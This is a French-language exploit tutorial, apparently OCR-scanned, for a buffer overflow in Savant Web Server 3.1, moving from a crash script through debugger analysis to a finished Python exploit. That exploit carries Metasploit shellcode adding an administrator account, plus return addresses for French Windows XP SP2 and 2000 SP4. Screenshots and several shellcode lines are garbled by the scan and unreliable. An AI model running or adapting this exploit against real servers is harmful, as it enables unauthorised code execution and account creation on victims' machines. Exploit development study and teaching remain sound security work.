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Tutorial sur I’exploitation d’un Buffer Overflow dans le Serveur Web Savant 3.1

http://savant.sourceforge.net

Description du Serveur Web Savant :

Savant est un serveur web opensource gratuit qui fonctionnant sur Windows 9x, ME, NT, 2000, et
XP transformant n’importe quel ordinateur de bureau en un puissant serveur web.

Concu pour étre rapide, sécurisé, et efficace, Savant a été choisi par des milliers de webmestres
amateurs et professionnels de part le monde.

La vulnérabilité :

Le Serveur Web Savant 3.1 (les autres versions n’ont pas été veérifiées) est vulnérable a plusieurs
buffer overflows a travers les requétes GET, POST et d’autres.

Le débordement de tampon (overflow) peut étre reproduit en envoyant une requéte HEAD de 257
caracteres au serveur web, et peut permettre I’exécution de commandes arbitraires.

Nous allons utiliser un script python simple combiné avec netcat pour étudier I’état du buffer
overflow.

buffer ="HEAD /' + "\x41" * 257 + "\r\n’
print buffer

Nous exécutons ce script et on le conduit vers le localhost, sur le port 80 via Netcat

= =10l x|

B
C:srdemo—savant .py
HEAD .~ AAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAARAAAAAAAAAAAAAAAAAAAA
AAAAAAARAAAAAAAARARAARAARARAARAAAARAAAARARAAAAAAARARAAAAAARARAAAARAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAARAAAAAARA
AAAAAAAAAAAAAAAAAAAAAAR

C:srdemo—savant.py inc —wv 127.0.8.1 88
DN fudsrev mismatch: localhost t= tipi
localhost [127_8A.@.11 88 <http> open

Savant.exe - Erreur d application x|

@ L'instruction & "0x41414141" emploie 'adresse mémoire "0x41414141", La mémoire ne peut pas Skre "read",

Cliguez sur QK pour kerminer le programme.
Cliquez sur &nnuler pour déboguer le programme

....................................

(] 4 Annuler

....................................



http://savant.sourceforge.net/

Construction de I’Exploit :

Nous attachons Ollydbg au processus savant.exe (File / Attach)

OllyDbg - [CPU]

@ File Wiew Debug Flugins Options  Window  Help
Ejx] ] sy 1 2 +f LE[M|T|W/H|C|/]
_iolx]

Process |Mame Il indow Fath -
AEAERZ0S| Savant Savant 3.1 CrSavant~Savant.exe
AEAEEAESS | SecureCR] Socket Mot if ication Sink C:~Proaram Files~Secure
AEEEESES | services Co=WIMOOWS~sustem32~sex
HARERY4EE | smss ~SwstemBoot~System3Zsr

AERER4AC| snmp

FEEEETOE | spoo Lew
HEEEESFE | SyperCop| Erredr de copie
HEEEE] 25 svcbait

Pt T T Tl st

=MINDONS- Sy stem32~snn
:KMIHDDm5\595tem32K5pc
:~Program Files-Superl
KMIHDDMSNEQEtem32K5ucv

LIT hIC ™y =

| Attach I Cancel |

'.Il._.ll._.ll._.ll._.l

et nous reproduisons I’overflow

OllyDbg - Savant.exe - [CPU - thread D000D0D26C] N o |I:I|_|

@File Wigk Debug F‘Iugins Dptin:uns Wimdio Help _||5‘|_|

Reaisters [FPLI
= ER FFFFFFFF
_MECy oeonz7as
EQ HEEEHEE T
EEX HEEIEIIEA
ESF HUBESEAGSHA
EEF 41414141
ESI BB383986
EOI AEAEA
EIF 41414141
= C B ES @Ez2z SEblt EEEEEEEEEEE
EBEEFEBE
Address JHex dump BECLI SN FGESEASS| GRESERES|ASCII “HEAD' s
BE4ZAEE0E| B BE BE B8 B8 B8 BE BE| ... e0aa.
HBEBEERLS| BABAEEEE
HE4ZAEEE) B BE BE Q8 B8 B8 B0 BE| ... .0...
= BEBSERCC| BHAZEZ9EE
BE4ZAE1E]) BE BE BE QA BE B8 BE BE| ... .....
HEBSERYE| HEAZAZ9EE
BR4ZAE1S) B8 BE B8 QA B8 B8 B0 B8 . .......
HEBSERY 4| BREREEEE
BA4ZAEZE) B BA BA BA BB B8 AR BA| . ....0.0..
BEBEEAYE| BERERE0EHE
BA42ZAEZS) B BE BA GA A8 BE B0 BA| . ...0...
BABSERTYC| BABRABEAR
BEA42ZAEZE) B8 BE BE BE A8 BE B0 BE| . ....0...
BABEERSE| BABABEAR
BE4ZAEEE) BE BE BE B8 B8 BE BE BB 2.0 eaeas
HABEERS4 | BAEAEEEE
HE4ZAEGE]| BE BE BE BE B8 BE B0 BE| ... .....
HEBSEAZS| HEREREHEE
BE4ZAE4S) BE BE BE QA BE BB B0 B8 ... . ...,
HEBEERZC| HEAEREDEE
BE42AEBEE] BE BE BE Q@ BE B8 B0 BE| ... .....
HEBSEAE| HEEAEDEAE
BR4ZABES) B8 BE B8 O8 B8 B8 B0 B8 . .......
HEBSERS4 | HRAEREHEE
BA4ZARGE]| BE BA BA BA BB B8 BA BA| . ....0.0..
BEBSERSS| BEAERE0EHE
BA4ZARGE| B BE BA BA A8 B8 B0 BA| . ....0...
HABEERSC| BABABEAR
BEA42ZAEYE| B8 BE BE BE A8 B B0 BE| . ....0...
BABEERAE| BABABEEAR
BE4ZAETE) BE BE BE B8 B8 BE BE BB 2.0 e0eas + | GEECEARY| FRGREEER =
PE43AG3E) 60 00 B0 60| 60 B9 99 99]........ At SRR
|.-'-‘-.n:n::ess violation when executing [41414141] - use Shift+F7/F3/F3 to pass erception to prc| | Fauzed

Nous pouvons voir que EIP est réécrit.



A NOTER : plus de 257 caractéres dans le buffer n’entraineront « PAS » la réécriture d’EIP.
Il'y a probablement une certaine forme de vérification sur les requétes HTTP.
Malheureusement, cela complique un peu I’écriture d’un exploit, car nous ne disposerons pas d’assez

d’espace pour notre shellcode.

OllyDbg - Savant.exe - [CPU - thread 00000893]

@File Wiewe Debug Plugins Options  Window  Help

LIE/MT|wWH|[c|/|K[B|R|..|5]

Reaisters [(FPUI

EBP 41414 Increment Plus
ESI 9890% :
EDI 9@@8c  Decrement Minus
EIP 41414
oo e
Add Hex d ASCII e n
eSS i W Mp e 4
SeBcecea) 42 42 41 24 oo o2 22 caremp et oy
SSEEEEEE SS SS sg SS SS SS SS sg SSEEEE% Copy selection to cipboard  Chrl+C
BOESEADA| 2F 20 41 4141 41 41 41> AAAAAA ooesenrd | Rl Gl Dl
BEESEADS|41 41 41 4141 41 41 41|AAAAAARAR BB
BEESEFEB|41 41 41 41/ 41 41 41 41|ARAAAARAR DOESELT | T
- REEREEEE ] P
BEEEEAF=|41 41 41 41(41 41 41 41lanoacnon opesEres| | Pollewin stac

ERX FFFFFFFF
ECH BEAE2TIE
ED¥ BREEEEET
EEX BE9E3IEE
ESP [BEESE™"™

L’on voit que le pointeur sur « HEAD » est 4 octets aprés (ou avant) I’ESP — dans notre exemple
ESP pointe sur 00B5EAG6O, alors que le pointeur du « HEAD » est en 00BSEAG4.

Du fait que le pointeur « HEAD » « est » contrdle par I’utilisateur, nous pouvons utiliser ce champ
pour sauter (jump) dans notre shellcode. Nous notons egalement qu’il y a quelques « octets non contrdlés
par I’utilisateur » apres la commande « HEAD ». Nous devons prendre ceci en considération lors de la

création de notre exploit, et nous assurer que nous sautons au dessus de ces octets, afin d’amener slrement

notre shellcode. Nous allons utiliser un « saut court » (short jump) (EB) pour passer au dessus de cela, et

arriver dans notre shellcode.

|escii |




Trouver une adresse de retour :

Nous devons trouver des pop, ret :
Dans ollydbg ; View -> Executable modules : Donne les dlls qui sont chargées en mémoire.
Depuis le site du Metaploit :

Cela sera facile pour les Windows en langue anglaise.

Pour nous, francophones, nous allons utiliser I’utilitaire findjmp2 de notre ami Class101 ;)

Cosrindjmp2 ws2help.dll esi

Findjmp,., Eeye, I125-LaB
Findjmp2,. Hat—Sguad
Scanning ws2help.dl]l for code wuseable with the ezi register
Bx719E15608 rop esi — pop — rethis
Bx717E1B22 call esi
Ax717E1B43 call esi
Bx12E1CY2 call esi
Bx71?ELCIA call esi
Ax717E1E?4 call esi
call esi
call esi
Bx717E2840 call esi
Ax712E2R5A call esi
puqﬁesi — pop — ret

Ok, on a un pop/pop/ret en 719E260D sur Windows XP SP2 FR.
On va trouver le méme en 74FA2AC4 sur Windows 2K SP4 FR.

Comme I’on ne voudra qu’un pop/ret, on évite le premier pop en rajoutant +1 a notre adresse, soit :
719E260E (ou 74FA2ACS5 pour Windows 2000).


http://class101.hat-squad.com/

Générer le shellcode :
Nous pouvons utiliser un shellcode du site Metasploit :

http://metasploit.com:55555/PAYLOADS

Pour cet exemple, nous allons utiliser le payload « win32_exec », qui exécute la commande
« calc.exe ».

Nous ne *devons* pas oublier les caracteres spécifiques qui pourraient étre filtrés par le protocole
HTTP, comme 0x00 (NULL), 0x20 (espace), 0xOA (nouvelle ligne), 0xOD (nouvelle ligne).
Nous allons ajouter ces caractéres dans le champ « Bad Chars » sur I’interface web Metasploit.

Restricted Characters (format: 0x00 0x01)
| 0x00 0x20 0x0A 0x0D|

Le shellcode « calc.exe » résultant ressemble a ceci (172 octets) :

/* win32_exec - EXITFUNC=seh CMD=calc.exe Size=172
Encoder=PexFnstenvSub http://metasploit.com */

unsigned char scode[] =

"\ X33\ xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xF4\x5b\x81\x73\x13\x50"
"\XFb\xbc\xd0O\x83\xeb\xfc\xe2\xFf4\xac\x13\xFa\xdO\x50\xFo\x37\x95"
"\X6C\X70\xcO\xd5\x28\xFa\x53\x5b\x1F\xe3\x37\x8F\x70\xFa\x57\x33"
"\X7e\xb2\x37\xe4\xdb\xFa\x52\xe1\x90\x62\x10\x54\x90\x8F\xbb\x11"
"\X9a\XxF6\xbd\x12\xbb\X0F\Xx87\x84\x74\xF\xc9\x33\xdb\xa4\x98\xd1"
"\Xbb\x9d\x37\xdc\x1b\x70\xe3\xcc\x51\x10\x37\xcc\xdb\xFa\x57\x59"
"\X0c\XxdF\xb8\x13\x61\x3b\xd8\x5b\x10\xcb\x39\x10\x28\xF4\x37\x90"
"\X5c\x70\xcc\xcc\xFd\x70\xd4\xd8\xb9\xFO\xbc\xdO\x50\x70\xFc\xe4"
"\X55\x87\xbc\xd0\x50\x70\xd4\xec\x0Ff\xca\x4a\xb0O\x06\x10\xb1\xbh8"
"\Xa0\x71\xb8\x8F\x38\x63\x42\x5a\x5e\xac\x43\x37\xb8\x15\x43\x2f"
"\ Xxaf\x98\xdd\xbc\x33\xd5\xd9\xa8\x35\xfb\xbc\xd0"";



http://metasploit.com:55555/PAYLOADS

On peut alors commencer a construire notre exploit :

# quelques nops (80 octets)
sc ='\x90' * 80

#calc.exe Shellcode (172 octets)

sc += "\x33\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xF4\x5b\x81\x73\x13\x50"
sc += "\xTFb\xbc\xd0\x83\xeb\xfc\xe2\xf4\xac\x13\xFa\xdO\x50\xFb\x37\x95"
sc += "\x6c\x70\xc0\xd5\x28\xFa\x53\x5b\x1F\xe3\x37\x8F\x70\xFa\x57\x33"
sc += ""\x7e\xb2\x37\xed\xdb\xFa\x52\xel1\x90\x62\x10\x54\x90\x8F\xbb\x11"
sc += "\x9a\xF6\xbd\x12\xbb\x0Ff\x87\x84\x74\xFF\xcO\x33\xdb\xa4\x98\xd1"
sc += "\xbb\x9d\x37\xdc\x1b\x70\xe3\xcc\x51\x10\x37\xcc\xdb\xFa\x57\x59"
sc += "\X0c\xdF\xb8\x13\x61\x3b\xd8\x5b\x10\xcb\x39\x10\x28\xFf4\x37\x90"
sc += ""\x5c\x70\xcc\xcc\xFd\x70\xd4\xd8\xb9\xFO\xbc\xdO\x50\x70\xFc\xe4"
sc += ""\x55\x87\xbc\xd0\x50\x70\xd4\xec\x0f\xca\x4a\xb0\x06\x10\xb1\xb38"
sc += "\xa0\x71\xb8\x8F\x38\x63\x42\x5a\x5e\xac\x43\x37\xb8\x15\x43\x2f"*
sc += "\xaf\x98\xdd\xbc\x33\xd5\xd9\xa8\x35\xFb\xbc\xd0"";

adresse_de_retour = "\XOD\x26\x9E\x71' #719E260D « a I’envers »
buffer = \xEB\x30' + ' /' + sc + adresse_de_retour + \r\n\r\n'

print buffer

On lance notre exploit, et a notre consternation, nous ne voyons pas notre shellcode s’exécuter.




Ajuster notre exploit :

Nous rechangeons notre adresse de retour en \x41\x41\x41\x41, et nous lang¢ons notre code
d’exploit. Il semble que I’EIP n’est pas totalement réécrit. En fait, il semble que I’on est a c6té de notre
cible de 1 octet.

OllyDbg - Savant.exe - [CPU - thread 00000750, module Savant]

File Wiew Debug Plugins Options  Window  Help

Blex| wjnj wij+) ¥L ¥ 4 L|E[M|T|W|H|c|/|K|B|R|.

BESE 19 TIOW E0%, DWORD PTR 2 [ Roaict ==
BE41414H| SBOZ MOU ERY, DWORD PTR-— 4t =rere
ga41414c| S PUSH EAY 7 Ehn burad
ggjijigg EEFEEEEBEB@ Eﬂ%LEggﬁfi&NSDCKE- ED% FC91EES4 ntdll.KiFastSustemial LRet
BEd141EE|w 75 12 QM SHORT Savant.i | e Momesien
AE414157| 68 2214306 PUSH Sauant.BB438 | Cor 4 oocrcn
GA41415C| ES EFCFFEFF CALL Sauant . BA4ELI
ES] BEIAZI6E
pAd14161| 2304 B4 AOD ESF, 4 el
pRdi4164| 8303 FF OF_EA, FFFFFFFF
BE414167|«EB E7 JHP SHORT Sauvant.i  EIP @8414147 Savant.@@414147
-
RSV DL L C @ ES 0Ba3 32bit O(FFFFFFFF)
Addres= |Hex dump ASCII - 410HECER
—IEIIEIBEEFIEE BAEEGAE1 A
ek eblsla] als ) Bl Gl B ) B B soo oo BEECEACEH| DRESFEAL

On peut ajouterl octet au début du shellcode (dans les nops)

On change :

# quelques nops (80 octets)
sc = "\x90° * 80

En :

# quelques nops (81 octets)

sc = "\x90" * 81

On relance ensuite notre code.

Registers [(FPUI
ER¥ FFFFFFFF
ECH BOBBAZVIG
EDX BOEREEET
EEX BE984250
ESF BOBSERGH
EEF DBBCFE3S
ESI BA9842EAQ
EDI S088EEEH

EIF 41414141

ES @823 32bit GIFFFFFFFF]
CS BR1B 32bit BIFFFFFFFF]
55 BEzZ3 3z2bit BIFFFFFFFF]
0S5 BEz23 32bit BIFFFFFFFF]
FS @E3E 22bit PFFOCEBACFFF)
G5 @EEa HULL

LastErre WSAEMOTSOCK (@88E2F7IE1

I E S

Parfait. On est maintenant bien aligne.
L’on remet notre bonne adresse de retour et I’on test.




Encore raté ®

Registers [FPLI
ER FFFFFFFF
ECH BEOREZTIE
ED BEEESHET
EEX BOESFEDE
ESF BOBESEAGSS
EEF DOBCFE3S
ESI B@sE4z568
EDI BO@EEanmn:g

EIF BBESERES

I C @ ES @823 3zZbit
B CS BElE 3z2bit
B S5 BE23 32bit
B DS BEz3 32bit
B FS BE3E 3z2bit
S G5 @88 HULL

BEEREEEE
BEEBSEHCEC| BE904258
BEEEEATE| BE9042EE
BEESEAYY| GEE00EEE
BEESEAYS| G8E00EEE
BEESEAYC| BEE00EEE
BEESERSH| BEE0EEEE
GEEBSERSY | BEE0EEEE
GEESERSS| GEE00EEE
BEBSERSC| GEE0EEEE
GEESERDE| BEE0EEEE
BEESEASY | BEE00EEE
BEESEASS| BEE0EEEE
BEESEATC| SEE00EEE
BEESEARE| BEE0EEEE
GEESEAR4 | GEE0EEEE
GEESEAAS| G8E0EEEE
BEESEAAC| G8E0EEEE
BEESEAED| B8E0006E
BEESERE4 | Q@&

GEESERES| BEEfsaCcE
BEESEREC| G@a

BEESEACH| BEE0EEEE
BEEBEEACY | BEEHEEEE
GEESEACS| G8E00EEE
BEESEACC| G8E0EEEE
BEESEADE| 2890982F
ARREFON4]  QR9E9EH3E

L’on constate que le EB est transformé en CB... ?

L’on va essayer autrement en utilisant des nops :

On change :

buffer = "\XEB\x30" + " /® + sc + adresse_de_retour + “\r\n\r\n-
En :

buffer = "\x90" * 30 + * /* + sc + adresse_de_retour + “\r\n\r\n-

On réexécute en croisant les doigts...




| = E g ]
avail =) | [P EHERR: BFFehaan
te 3% (A1) ' —]: i i
() b | 0.
58 !
= * Degés " Radians " Grades ‘

Praoxy
RN ;
; Fetour amigie EE L

Sta F-E [ ] ML 7 g / Mod | And
| By dmsz Exp Iy MA 4 5 . (i} o
i S 2k Y o b5 1 2 Lzh Mok

oos: | K03 i b+ 0 +7- + = [k

1 |:II

Cliguez sur QK pour terminet le programme.
Cliquez sur Annuler pour déboguer le programme

[0]4

Annuler l

L'instruction & "0x7c800003" emploie 'adresse mémoire "0x7c803528", La mémoire ne peut pas étre "written”,

Qu’elle joie de voir la Calculatrice apparaitre !
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Construire un meilleur exploit :

Aussi excitante que la Calculatrice puisse étre, nous aurions envie d’un payload plus agressif,
comme un bind ou reverse shell, ou bien ajouter un utilisateur Administrateur.

Malheureusement, nous disposons de peu de place disponible pour notre shellcode et la plupart des
shellcodes seront trop gros.

Heureusement, nous voyons que le shellcode win32_adduser du Metasploit est suffisamment petit
(232 octets) pour notre payload de shellcode.

Nous regénérons notre shellcode, en utilisant les mémes « caractéres interdits » que précédemment,
et I’on ajoute THREAD comme notre méthode EXITFUNC (plutét que SEH). Cela va empécher Savant
de planter lorsque nous enverrons notre buffer overflow, et n’interrompra pas les opérations normales du
serveur web.

11



HHHHHH R R R R R R R R R R R R

#
# Savant web server Buffer Overflow Exploit

# Discovered by : Mati Aharoni

# Coded by : Tal Zeltzer and Mati Aharoni

# www.see-security.com

# FOR RESEACRH PURPOSES ONLY!

# Support des Windows FRancais par Jerome Athias

HHHFHHHH

import struct
import socket

sc = "\x90" * 21 #I11 nous faut ce nombre de nops

# win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub
http://metasploit.com

sc += "\x31\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xF4\x5b\x81\x73\x13\xd8""
sc += "\x23\x73\xe4\x83\xeb\xfc\xe2\xF4\x24\xcb\x35\xe4\xd8\x23\xFf8\xal"
sc += "\xed\xa8\x0f\xel\xa0\x22\x9c\x6 F\x97\x3b\xF8\xbb\xF8\x22\x98\x07""*
sc += ""\xF6\x6a\xF8\xd0\x53\x22\x9d\xd5\x18\xba\xdfF\Ax60\x18\x57\x74\x25"
sc += "\x12\x2e\x72\x26\x33\xd7\x48\xb0\xFc\x27\x06\x07\x53\x7c\x57\xe5""
sc += "\x33\x45\xF8\xe8\x93\xa8\x2c\xF8\xd9\xc8\xF8\xF8\x53\x22\x98\x6d""
sc += "\x84\x07\x77\x27\xe9\xe3\x17\x6F\x98\x13\xF6\x24\xa0\x2c\xFf8\xa4""
sc += "\xd4\xa8\x03\xF8\x75\xa8\x1b\xec\x31\x28\x73\xe4\xd8\xa8\x33\xd0"*
sc += ""\xdd\x5F\x73\xe4\xd8\xa8\x1b\xd8\x87\x12\x85\x84\x8e\xc8\x7e\x8c"
sc += "\x37\xed\x93\x84\xb0\xbb\x8d\x6e\xd6\x74\x8c\x03\x30\xcd\x8c\x1b"
sc += "\x27\x40\x1e\x80\xT6\x46\x0b\x81\xF8\x0c\x10\xc4\xb6\x46\x07\xc4""
sc += "\xad\x50\x16\x96\xF8\x7b\x53\x94\xaf\x47\x53\xcb\x99\x67\x37\xc4"
sc += ""\xFe\x05\x53\x8a\xbd\x57\x53\x88\xb7\x40\x12\x88\xbF\x51\x1c\x91"
sc += "\xa8\x03\x32\x80\xb5\x4a\x1d\x8d\xab\x57\x01\x85\xac\x4c\x01\x97"*
sc += ""\XxF8\x7b\x53\xcb\x99\x67\x37\xe4";

sc += "AA"

# Win2k SP0,1,2,3,4 (US...)
#Change Return address as needed
#buf = ""\xEB\x19"™ + " /" + sc + struct.pack(<L",0x750236b2) + "\r\n\r\n"

#Win 2K SP4 FR

#OXT74FA2ACA pop esi - pop - ret ws2help.dll Win 2K SP4 FR
#(Trouvé avec findjmp2 par Classl10l ;)

#buf = "\x90" * 24 + " /" + sc + struct.pack("<L",0x74fa2ac5) + "\r\n\r\n"
#EB devient CB...? on le change par des nops

#Win XP SP2 FR

#0x719E260D pop esi - pop - ret ws2help.dll Win XP SP2 FR

buf = "\x90" * 24 + " /" + sc + struct.pack("<L",0x719e260e) + "\r\n\r\n"
#EB devient CB...? on le change par des nops

s = socket.socket(socket.AF INET,socket.SOCK_STREAM)
s.connect(("127.0.0.17,80))

s.send(buf)

s.close()

Credits :

Vulnérabilité trouvée par Muts

Exploit codé par Tal.z et Muts.

Merci a Metasploit pour le shellcode et I’inspiration.
Google

Traduction et adaptation frangaise par Jérome ATHIAS.
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http://metasploit.com/

